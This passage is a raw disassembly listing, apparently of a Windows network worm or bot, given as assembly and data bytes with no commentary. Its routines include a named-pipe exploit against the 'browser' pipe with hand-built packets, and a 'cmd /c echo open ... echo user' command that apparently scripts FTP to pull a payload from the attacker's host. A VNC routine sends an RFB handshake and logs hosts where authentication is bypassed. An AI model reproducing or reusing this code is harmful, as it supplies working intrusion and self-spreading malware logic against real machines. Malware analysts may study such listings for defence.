24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 0A7h ; ╖ db 0DBh ; ш db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 28h ; ( db 0D1h ; я db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 44h ; D db 8Dh ; █ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26F0809h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26E0000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 2651957h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26F0000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] call near ptr 2651957h nop push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 26E093Ch nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DE4F nop call near ptr 2670763h cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] call near ptr 2670ECEh nop cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 0D6h ; ж db 0D6h ; ж db 0 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 90h ; ░ db 0E8h ; Х db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 90h ; ░ db 0E8h ; Х db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 0E8h ; Х db 38h ; 8 db 5Dh ; ] db 6Ah ; j db 71h ; q db 90h ; ░ db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 8 db 91h ; ▒ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ╟ db 0ACh ; ╛ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0DFh ; ъ db 0CCh ; л db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 38h ; 8 db 0DAh ; з db 0 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 87h ; ┤ db 0D0h ; п db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 8Bh ; ▀ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 0E8h ; Х db 0E8h ; Х db 3Ah ; : db 6Ah ; j db 71h ; q db 90h ; ░ db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 252F82E8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 call near ptr 26E0000h nop jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 call near ptr 26F0000h nop cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 1F92E890h, 0FF50022Fh, 4CDCA835h, 1F86E800h, 5090022Fh dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 36ECE857h, 8D900224h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 2619ABE8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1992E890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2262852h dd 0F075FF57h, 2050E890h, 0FF570227h, 47E8EC75h, 90022720h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2370h dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2C186BE8h dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 2C17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2C176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 